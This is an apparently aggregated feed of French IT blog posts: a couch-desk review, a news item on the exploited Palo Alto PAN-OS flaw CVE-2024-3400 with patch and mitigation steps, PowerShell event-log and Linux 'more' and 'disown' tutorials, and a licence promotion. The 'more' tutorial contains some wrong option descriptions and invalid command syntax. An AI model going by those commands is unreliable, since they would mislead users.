Pour bien comprendre comment cela fonctionne, il convient de retourner le Couchmaster. Il y a deux compartiments accessibles de façon indépendante où l'on va retrouver différents ports USB, ainsi que le connecteur pour l'alimentation. En fait, pour faciliter la gestion des câbles et d'avoir plusieurs câbles qui trainent au sol dans votre salon, sachez que Nerdytec propose un système basé sur un seul câble spécialement conçu pour le Couchmaster CYCON² dans le but d'établir la connexion entre le PC et le Couchmaster en lui-même, tout en fournissant une alimentation électrique supplémentaire. Par ailleurs, ce câble est en deux parties donc vous pouvez facilement le déconnecter du Couchmaster sans avoir à ouvrir un compartiment.

Pour vous faire une idée plus précise des dimensions des coussins et du plateau, ainsi que l'espace maximal entre les deux coussins, voici un schéma proposé par la marque :

III. Utilisation au quotidien

Me voici en place avec mon ordinateur, installé confortablement sur le canapé, grâce aux coussins et au plateau du Couchmaster. Les coussins sont très confortables et agréables, et grâce à eux, cela devient facile de travailler (ou jouer) depuis son canapé, car nous sommes bien installés. Les coudes sont maintenus par les coussins, ce qui permet de se mettre à l'aise que ce soit pour utiliser un ordinateur portable ou un kit clavier et souris. Nous pouvons rester dans cette position plusieurs heures, sans ressentir de gêne.

Sans utiliser d'ordinateur fixe, j'ai tout de même fait quelques tests avec le système de gestion de câbles. Il me semble adapté à de nombreuses configurations et types de câbles, avec tout de même un point d'attention : je n'ai pas pu tester directement, mais compte tenu de la taille des trous pour faire passer les câbles, je pense qu'ils ne sont pas assez grands si vous avez un accessoire avec un câble ayant un noyau de ferrite.

En ce qui concerne l'ergonomie, en complément de mon ressenti et de mon avis, voici l'analyse fournie sur le site officiel de Nerdytec : "D'un point de vue ergonomique, le Couchmaster® CYCON² est particulièrement recommandé. Le physiothérapeute Roland Kellerbach de Cologne-Dellbrück s'exprime en ces termes : "Du point de vue de la santé, je peux dire que le Couchmaster offre la meilleure possibilité ergonomique d'utiliser le PC/l'ordinateur portable depuis le canapé. Grâce aux larges coussins, la musculature des épaules et de la nuque est soulagée pendant l'utilisation, ce qui prévient efficacement les tensions"."

Le seul bémol, mais ça, Nerdytec ne peut pas y faire grand-chose, c'est l'encombrement pour stocker les coussins et le plateau, ainsi que le temps de mise en place avec l'installation des deux coussins, du plateau, puis de l'ordinateur portable ou du clavier et de la souris. Mais, une fois que l'on est installé, on se dit que ça en vaut vraiment la peine ! En revanche, pour les câbles, l'installation est à effectuer une seule fois, donc nous ne perdons pas de temps avec ça à chaque fois.

IV. Conclusion

Si vous aimez jouer ou travailler depuis votre canapé, mais que vous ne parvenez pas à vous installer confortablement, ne cherchez plus : investissez dans un Couchmaster Cycon 2 (ou un autre modèle, selon votre configuration). Peut-être que pour certains d'entre vous, ce sera l'occasion de franchir le pas... C'est un produit vraiment cool et confortable à utiliser.

Le tarif de la version Couchmaster Cycon 2 montrée dans cet article : 179.99 €. Vous pouvez retrouver ce produit sur Amazon.fr via notre lien d'affilié :

• Acheter le Couchmaster Cycon 2 sur Amazon.fr

De plus, sachez que le Couchmaster Cycon 2 est disponible en plusieurs éditions et coloris : CYPUNK (pour les fans de Cyberpunk), Fusion Grey, Titan Black Edition (version de luxe avec des éléments en titane et des coussins en cuir nappa véritable) et Black Edition.

The post Test Couchmaster CYCON² – Un support ergonomique pour jouer ou travailler depuis son canapé first appeared on IT-Connect.

Alerte chez Palo Alto Networks : une faille de sécurité zero-day, non patchée à l'heure actuelle, a déjà été exploitée dans le cadre de plusieurs cyberattaques ! Voici ce que l'on sait !

Le système PAN-OS, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une faille de sécurité critique associée à un score CVSS de 10 sur 10 ! Elle a été découverte par les chercheurs en sécurité de Volexity et elle est désormais associée à la référence CVE-2024-3400. Il s'avère que cette vulnérabilité de type "injection de commande" a été découverte dans la fonction GlobalProtect du système PAN-OS.

Dans la pratique, un attaquant, situé à distance, peut exploiter cette vulnérabilité pour exécuter des commandes sur le firewall, sans aucune interaction de la part d'un utilisateur, et sans disposer de privilèges spéciaux. Il est question ici d'exécuter des commandes en tant qu'administrateur.

À l'heure actuelle, cette faille de sécurité a déjà été exploitée : "Palo Alto Networks a connaissance d'un nombre limité d'attaques qui exploitent cette vulnérabilité", peut-on lire dans le bulletin de sécurité mis en ligne par l'éditeur de solutions de sécurité.

Quelles sont les versions de PAN-OS affectées ?

Les firewalls Palo Alto qui exécute les versions suivantes de PAN-OS sont potentiellement vulnérables : PAN-OS 10.2, 11.0 et 11.1. Ceci affecte uniquement PAN-OS, donc certaines versions spécifiques comme Cloud NGFW et Prisma Access ne sont pas impactées.

Voici le tableau récapitulatif publié par Palo Alto :

Il est important de préciser que l'exploitation de la vulnérabilité dépend de la configuration du firewall : "Ce problème s'applique uniquement aux pare-feu PAN-OS 10.2, PAN-OS 11.0 et PAN-OS 11.1 avec les configurations de la passerelle GlobalProtect et la télémétrie de l'appareil activées.", précise Palo Alto.

Comment se protéger de la CVE-2024-3400 ?

Pour le moment, aucun correctif n'est disponible ! Les correctifs, pour les différentes versions affectées, sont en cours de développement et sont attendus pour le dimanche 14 avril 2024, au plus tard.

Voici les versions qui seront publiées :

• PAN-OS 10.2.9-h1
• PAN-OS 11.0.4-h1
• PAN-OS 11.1.2-h3

En attendant, et avant de partir en week-end, il est impératif de désactiver la télémétrie sur votre firewall, en suivant cette documentation officielle. Ceci empêche l'exploitation de la vulnérabilité.

Sachez que si vous avez un abonnement à la fonction "Threat Prevention", vous pouvez bloquer cette attaque en activant la protection contre la menace avec l'ID 95187. De plus, assurez-vous que cette protection soit activée sur l'interface GlobalProtect, en suivant cette page de la documentation.

Source

The post Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques ! first appeared on IT-Connect.

I. Présentation

Dans ce tutoriel, nous allons exploiter PowerShell pour créer un journal personnalisé et des événements personnalisés dans l'Observateur d'événements de Windows ou Windows Server, à l'aide de deux cmdlets : New-EventLog et Write-EventLog. En complément, nous verrons comment utiliser la classe .NET "EventLog" pour créer des entrées avancées.

Sur Windows, le système d'exploitation, les composants et les applications peuvent générer des événements qui sont inscrits dans les différents journaux centralisés dans l'Observateur d'événements. Ces journaux sont une mine d'informations pour les administrateurs systèmes, mais aussi pour les équipes en charge de la sécurité : une action suspecte peut être consignée dans un événement, qui représentera alors une trace intéressante.

L'intérêt ensuite est de collecter ces événements dans un puits de logs ou un SIEM afin de les analyser et de détecter les comportements suspects ou les anomalies sur une infrastructure.

Grâce à la commande Write-EventLog ou à l'utilisation de la classe EventLog, nous pouvons alimenter les journaux de Windows avec des événements personnalisés qui, eux aussi, pourront être exploités par une solution telle qu'un SIEM. Autrement dit, votre script PowerShell pourra créer des événements contenant les informations de votre choix.

Remarque : avant de pouvoir utiliser Write-EventLog, cette action était possible sous Windows grâce à l'utilisation de l'utilitaire en ligne de commande EVENTCREATE.exe.

II. Utiliser le cmdlet New-EventLog

Au sein de l'Observateur d'événements, vous pouvez créer un journal personnalisé, associé au nom de votre choix, à condition que celui-ci ne soit pas déjà utilisé. Cette étape est facultative, car nous pouvons créer des enregistrements dans certains journaux natifs, notamment dans le journal "Applications" de Windows.

Néanmoins, le fait de créer un journal personnalisé et d'y inscrire par la suite nos propres événements, permet "d'isoler" nos événements personnalisés. Ceci peut vouloir dire également qu'il faudra adapter la configuration de votre outil de collecte de log pour qu'il prenne en charge ce nouveau journal.

La commande suivante permet de créer un journal nommé "PowerShell-Demo", qui accepte deux sources : "Script-1" et "Script-2". Vous pouvez en ajouter autant que vous le souhaitez, et, vous pouvez ajouter des sources supplémentaires à un journal existant. Ceci est indispensable, car chaque événement de journal doit être associé à une source.

New-EventLog -LogName "PowerShell-Demo" -Source "Script-1","Script-2"

Ce journal sera immédiatement visible dans l'Observateur d'événements sous "Journaux des applications et des services".

D'ailleurs, pour ajouter une source supplémentaire, il suffit d'exécuter une nouvelle fois New-EventLog en indiquant le nom du journal et le nom de la source supplémentaire à ajouter. Voici un exemple pour ajouter la source "Script-3" :

New-EventLog -LogName "PowerShell-Demo" -Source "Script-3"

Si vous effectuez une erreur, par exemple, dans le nom de votre journal, sachez que vous pouvez le supprimer avec cette commande :

Remove-EventLog -LogName "PowerShell-Demo"

Pour approfondir l'utilisation de ce cmdlet, vous pouvez consulter cette page :

• Microsoft Learn - New-EventLog

III. Utiliser le cmdlet Write-EventLog

Désormais, nous allons voir comment écrire un nouvel événement dans le journal d'événements que nous venons de créer. Nous pourrions aussi l'ajouter dans un autre journal (attention, certains sont protégés), tout se joue au niveau du paramètre "-LogName" de la commande Write-EventLog puisqu'il permet de préciser le journal cible.

Comme pour les autres cmdlets PowerShell, vous pouvez spécifier le nom du cmdlet suivi de chaque paramètre et de sa valeur, mais dans le cas présent, l'écriture proposée ci-dessous permet d'avoir une meilleure lisibilité.

$Event = @{
    LogName = "PowerShell-Demo"
    Source = "Script-1"
    EntryType = "Error"
    EventId = 10000
    Message = "Cette alerte a été généré depuis PowerShell"
}

Write-EventLog @Event

Ce bout de code va créer un événement de type "Erreur" dans notre journal, associé à la source "Script-1" et l'ID "10000". Il contiendra le message "Cette alerte a été généré depuis PowerShell", comme vous pouvez le voir sur l'image ci-dessous. Essayez d'utiliser des ID différents pour vos types d'événements, et évitez aussi d'utiliser des ID déjà utilisé par Windows.

À la place du type "Error" permettant de générer une erreur, vous pouvez utiliser les valeurs suivantes : Warning, Informational, SuccessAudit, et FailureAudit. Sachez que cette commande prend en charge le paramètre "-ComputerName", ce qui permet de créer un événement dans le journal d'un ordinateur distant.

Pour consulter ce journal personnalisé, ou un autre journal, vous pouvez utiliser le cmdlet PowerShell "Get-EventLog". Bien que ce cmdlet soit très pratique, il ne permet pas d'accéder à tous les journaux, donc sachez qu'il existe aussi un second cmdlet prévu pour consulter les journaux : "Get-WinEvent".

Voici la commande à utiliser pour récupérer les logs de notre journal :

Get-EventLog -LogName "PowerShell-Demo"

Pour approfondir l'utilisation de ces cmdlets, vous pouvez consulter ces pages :

• Microsoft Learn - Write-EventLog
• Microsoft Learn - Get-EventLog
• Microsoft Learn - Get-WinEvent

IV. Utiliser la classe EventLog avec PowerShell

Pour aller plus loin dans l'écriture d'événements dans un journal Windows, il convient d'exploiter la classe EventLog directement depuis PowerShell. Celle-ci va nous permettre d'ajouter des données mieux structurées dans notre événement, notamment dans la section "EventData" visible à partir de la vue XML. C'est utile pour stocker plusieurs informations tout en permettant de récupérer de façon indépendante chaque information.

Voici un exemple :

Nous avons mis en pratique cette méthode dans ce tutoriel :

• Sécurité de l’Active Directory : les mots de passe dans la description des objets utilisateur

Ceci complexifie l'inscription d'un nouvel événement, car nous devons créer nos propres objets et nous passer de l'utilisation de Write-EventLog. Un premier objet "System.Diagnostics.EventInstance" permettra d'indiquer le numéro d'ID et le type d'événements, tandis qu'un second objet "System.Diagnostics.EventLog" permettra de préciser les données de l'événement.

Néanmoins, pour que l'utilisation reste simple, nous vous proposons d'utiliser cette fonction :

function Write-EventLogV2 {
    <#
    .SYNOPSIS
        Crée un évènement dans l'observateur d'évènement
    .DESCRIPTION
        La fonction utilise la CmdLet WriteEvent pour créer un évènement à partir des paramètres d'entrée. 
    .PARAMETER dataUser
        Nom utilisateur qui sera inscrit dans le contenu de l'évènement à créer
    .PARAMETER dataDescription
        Contenu de la description qui sera inscrite dans le contenu de l'évènement à créer
    .PARAMETER ID
        Event ID de l'évènement à créer
    .PARAMETER evtLog
        Journal de l'évènement à créer
    .PARAMETER evtSource
        Source de l'évènement à créer
    .EXAMPLE
        New-EventLog -dataUser "John" -dataDescription "new description"
    .OUTPUTS
        None
    #>
    param(
          [Parameter(Mandatory=$true)]$dataUser,
          $dataDescription="",
          $ID=10000,
          $evtLog="PowerShell-Demo",
          $evtSource="Script-2"
          )

    # Charge la source d'événement dans le journal si elle n'est pas déjà chargée.
    # Cette opération échouera si la source d'événement est déjà affectée à un autre journal.
    if ([System.Diagnostics.EventLog]::SourceExists($evtSource) -eq $false) {
        [System.Diagnostics.EventLog]::CreateEventSource($evtSource, $evtLog)
    }

    # Construire l'événement et l'enregistrer
    $evtID = New-Object System.Diagnostics.EventInstance($ID,1)
    $evtObject = New-Object System.Diagnostics.EventLog
    $evtObject.Log = $evtLog
    $evtObject.Source = $evtSource
    $evtObject.WriteEvent($evtID, @($dataUser,"Description : $dataDescription"))
  }

En entrée, cette fonction accepte deux messages ($dataUser et $dataDescription - vous pouvez renommer ces paramètres dont le nom a été choisi vis-à-vis du script d'origine), un numéro d'ID (par défaut, ce sera 10000), le nom d'un journal d'événement (par défaut, ce sera "PowerShell-Demo") ainsi qu'une source (par défaut, ce sera "Script-2").

De plus, par défaut, cette fonction génère des événements de type "Information". Si vous souhaitez changer le type d'événement, vous devez ajuster la valeur présente sur cette ligne :

$evtID = New-Object System.Diagnostics.EventInstance($ID,1)

En effet, la première valeur correspond à l'ID souhaité, ici associé à la variable $ID, tandis que la seconde valeur correspond au type d'événement. Le 1 correspond au type "Information".

Ce qui permettra de générer des événements similaires à celui-ci :

Si besoin, vous pouvez ajouter d'autres valeurs dans la seconde partie de "$evtObject.WriteEvent" pour avoir des lignes "<Data>" supplémentaires.

V. Conclusion

En suivant ce tutoriel, vous devriez être en mesure de créer vos propres événements personnalisés dans les journaux Windows, que ce soit dans un journal existant ou dans votre propre journal à l'aide de PowerShell ! Libre à vous d'utiliser ces cmdlets ou cette fonction dans vos scripts, et de les adapter à vos besoins ! En tout cas, ceci ouvre des possibilités très intéressantes !

The post Comment utiliser PowerShell pour créer un événement dans un journal Windows ? first appeared on IT-Connect.

Quelles différences entre ces normes de câbles HDMI : 1.4, 2.0, 2.1... ?

Si toi aussi tu es perdu dans les normes HDMI voici un récapitulatif par la chaine iXPé (RTBF) :

Cette chaine elle vulgarise des sujets autour de la tech et de l'IT (voir playlist ONPDI).

Le tout dans des formats courts, ça se regarde bien

Vous n'aimez pas le RSS : abonnez-vous par email
Vous devriez me suivre sur Twitter : @xhark

---

Article original écrit par Mr Xhark publié sur Blogmotion le 14/04/2024 | Un commentaire |
Attention : l'intégralité de ce billet est protégée par la licence Creative Commons

Cet article Quelles différences entre ces câbles HDMI ? provient de : on Blogmotion.

Parmi les commandes basiques Linux, on trouve la commande more. Elle est principalement utilisée pour afficher le contenu d’un fichier page par page, ce qui permet de lire facilement des fichiers volumineux sans être submergé par un mur de texte.
Elle dispose aussi de fonction de recherche.

Dans ce tutoriel, je vous montre comment utiliser la commande more sur Linux avec des exemples.

Quelle est la syntaxe de la commande more

Voici la syntaxe :

more [-options] [-num] [+/pattern] [+numligne] <nom fichier>

Et la liste des options

Option	Description
-c ou –no-color	Désactive le surlignage en couleur de la sortie.
-n ou –line-numbers	Afficher les numéros de ligne au début de chaque ligne.
-d	L’invite est “[Appuyez sur l’espace pour continuer, sur ‘q’ pour quitter.]”, et affiche “[Appuyez sur ‘h’ pour les instructions.]” au lieu de sonner la cloche lorsque l’on tente de faire défiler le fichier au-delà de la fin.
-l	Ignore le saut de page (^L).
-f	Compte les lignes logiques, plutôt que les lignes d’écran (c’est-à-dire que les lignes longues ne sont pas pliées).
-p	Fait défiler un écran complet.
-c	Efface l’écran avant d’afficher la page.
-s	Réduit le nombre de lignes vierges en une seule.
-u	Mode texte plein en supprimant la mise en forme gras et souligné.

Comment utiliser la commande more sur Linux

Par défaut, plus de commandes sous Linux affichent le fichier une page à la fois.

Vous pouvez naviguer dans le fichier à l’aide de différentes commandes :

Commande	Action
ESPACE ou f	Afficher les x lignes de texte suivantes. La valeur par défaut est la taille actuelle de l’écran.
Entrée	Afficher les x lignes de texte suivantes. La valeur par défaut est 1. L’argument devient la nouvelle valeur par défaut.
d ou ^D	Défiler de x lignes. La valeur par défaut est la taille de défilement actuelle, initialement 11.
s	Sauter x lignes de texte. La valeur par défaut est 1.
f	Sauter x lignes de texte. La valeur par défaut est 1.
b ou ^B	Revenir à x lignes de texte vers l’arrière. La valeur par défaut est 1. Ne fonctionne qu’avec les fichiers, pas avec les pipes.
‘	Aller à l’endroit où la dernière recherche a commencé.
=	Affiche le numéro de la ligne en cours.
q ou Q	Quitter

Recherche dans un fichier

La commande more vous permet également de rechercher une chaîne de caractères spécifique dans un fichier. Cette fonction est particulièrement utile lorsque vous avez affaire à des fichiers volumineux et que vous recherchez des informations spécifiques. Pour ce faire, vous pouvez utiliser le ‘/’ suivi de la chaîne de caractères que vous recherchez.

Voici un exemple :

Dans cet exemple, la commande “more” affiche le contenu de monfichier.txt à partir de la première ligne contenant la “chaîne de recherche”.

more +/"chaîne de recherche" monfichier.txt

Vous pouvez également utiliser des expressions régulières avec l’option /pattern pour rechercher des motifs plus complexes. Par exemple, pour rechercher toutes les lignes commençant par le mot “error”, vous pouvez utiliser la commande suivante :

more /^error/ /var/log/syslog 

Il ne s’agit là que de quelques exemples d’utilisations avancées de la commande ‘more’. Comme vous pouvez le constater, ‘more’ est un outil puissant pour visualiser et naviguer dans les fichiers sous Linux. Cependant, comme tout outil, il a ses avantages et ses inconvénients, et son utilisation dépend des exigences spécifiques de la tâche à accomplir.

Visualiser plusieurs fichiers

L’une des fonctions les plus puissantes de la commande more est la possibilité d’afficher plusieurs fichiers de manière séquentielle. Par exemple, si vous avez trois fichiers texte – fichier.txt, fichier2.txt et fichier3.txt – vous pouvez les afficher en séquence avec la commande suivante :

more fichier1.txt fichier2.txt fichier3.txt

Dans cet exemple, la commande “more” affiche d’abord le contenu du fichier1.txt. Lorsque vous aurez fini de visualiser le fichier1.txt, elle affichera le contenu du fichier2.txt, et ainsi de suite.

• Pour passer au fichier suivant, appuyez sur :n. L’observateur se déplace alors au début du fichier suivant.
• Pour reculer d’un fichier, appuyez sur :p. Cela permet de revenir au début du fichier précédent.

Vous pouvez bien entendu utiliser le caractère joker, par exemple pour visualiser tous les fichiers dictionnaires :

more /usr/share/dict/*

Afficher que X lignes par pages

Une autre option est utile est l’option -n suivi qui vous permet de définir le nombre de lignes à afficher par page.
Par exemple pour n’afficher que 5 lignes par page d’un fichier :

more -n 5 fichier.txt

Ouvrir un fichier à la première occurrence d’une recherche

Pour ouvrir un fichier à un numéro de ligne, passez l’option + accompagnée d’un numéro de ligne.
Par exemple pour ouvrir

more +130000 /usr/share/dict/french

L’article Utiliser la commande more sur Linux avec des exemples est apparu en premier sur malekal.com.

Dans un tutoriel précédent, je présentais différentes commandes Linux (jobs, fg, …) afin de pouvoir exécuter des processus en arrière-plan.
Mais à la fermeture du terminal, un signal SIGHUP (Signal Hang UP) est envoyé pour terminer tous les processus du shell.
C’est là qu’intervient la commande disown qui permet de marquer un travail et donc un processus afin de ne pas lui envoyer ce SIGHUP pour qu’il puisse continuer à s’exécuter une fois le shell fermé.
De plus, elle permet aussi de retirer chaque des travaux spécifiques de la table des tâches actives.

Dans ce tutoriel, je vous montre comment utiliser la commande disown de Linux.

Quelle est la syntaxe de la commande disown

Voici la syntaxe :

disown <options> <job-id>

Où :

• <options> : Il existe plusieurs options, mais la plus courante est “-h”, qui indique au shell de ne pas envoyer de HUP (HangUP) lorsque le shell parent se termine.
• <job-id> : L’identifiant du travail (job) que vous souhaitez dissocier du shell. Vous pouvez trouver l’identifiant du travail en utilisant la commande “jobs” dans le shell.

Comment utiliser la commande disown

Comment continuer à exécuter un travail après avoir quitté une invite shell en arrière-plan

Quelques rappels rapides concernant l’exécution de commandes sur Linux.
Pour lancer une commande qui s’exécute en arrière plan, ajoutez le caractère & à la fin de la commande.
Par exemple pour lancer le téléchargement d’un fichier avec wget en arrière-plan et l’ouverture d’un fichier avec vim :

wget -O /dev/null -q http://bouygues.testdebit.info/10G.iso&
[1] 226923
vim /tmp/univers.txt &
[2] 226940

Pour lister les travaux en cours, utilisez la commande jobs :

jobs -l
[1]- 226923 En cours d'exécution   wget -O /dev/null -q http://bouygues.testdebit.info/10G.iso &
[2]+ 226940 Arrêté (via la sortie sur tty)        vim /tmp/univers.txt

• La commande wget est indiquée par “-“, ce qui signifie qu’elle deviendra la tâche active si la commande vim est interrompue
• La commande vim est désignée par “+”, ce qui signifie qu’il s’agit d’une tâche active

Seulement, si vous fermez le terminal ou la session SSH, l’exécution de la commande s’arrête aussi car le système envoie un signal pour terminer toutes les commandes rattachées au shell.
C’est là que la commande disown entre en jeu car elle permet de dissocier un processus du shell. Ainsi, si vous fermez le shell, son exécution continue.

Lorsque vous quittez le terminal de votre système, tous les travaux en cours sont automatiquement interrompus. Pour éviter cela, utilisez la commande disown avec l’option -h :

disown -h <%jobID>

Dans notre exemple, nous voulons que la commande wget continue à fonctionner en arrière-plan. Pour éviter qu’elle ne se termine à la sortie, utilisez la commande suivante :

disown -h %1

Tous les travaux pour lesquels vous avez utilisé la commande disown -h continueront de fonctionner.

Autre exemple, imaginons que vous souhaitez exécuter une mise à jour du système avec apt-get en root en arrière-plan et qui ne s’arrête pas si la session se termine.
Voici les commandes à utiliser :

sudo -i # Pour devenir root
apt-get upgrade &> /root/system.update.log & # Mise à jour du système avec redirection de la sortie dans un fichier
disown -h # Marquer apt-get pour que SIGHUP ne soit pas envoyé à la sortie
exit # On quitte le shell root

Supprimer tous les travaux en cours avec la commande disown

Sans aucune option, chaque jobID est supprimé de la table des jobs actifs, c’est-à-dire que l’interpréteur de commandes bash utilise sa notion du job en cours qui est affiché par le symbole + dans la commande jobs -l :

disown

Pour supprimer tous les travaux en cours d’exécution, utilisez l’option -r :

disown -r

Pour supprimer tous les travaux, utilisez l’option -a :

disown -a

Suppression de travaux spécifiques

Pour supprimer un travail spécifique du tableau des travaux, utilisez la commande disown avec l’identifiant de travail approprié. L’ID du travail est indiqué entre parenthèses dans le tableau des travaux :

Dans notre exemple, si nous voulons supprimer la commande vim, nous devons utiliser la commande disown sur le job 2 :

disown %2

L’article La commande disown Linux : utilisations et exemples est apparu en premier sur malekal.com.

Si vous êtes à la recherche d’une offre intéressante pour acquérir les licences Windows 11 et Microsoft Office à un prix avantageux ne cherchez plus ! Dans cet article, vous trouverez des promotions très intéressantes proposées par whokeys.com, un site de confiance pour des licences Windows et Office, mais pas que ! En plus de …

PowerApps is a low-code platform from Microsoft that enables businesses and individuals to quickly build custom applications for web and mobile, connecting to various data sources without extensive coding experience. I'm new to PowerApps and initially relied on guides on the internet to build my first app. The app was simple: collect user input and send it to Power Automate for processing. However, online guides can sometimes be outdated, and I ran into trouble with a deprecated Power Automate trigger called 'Ask in PowerApps.' The recommended solution is to use the newer PowerApps V2 trigger; this guide will show you how.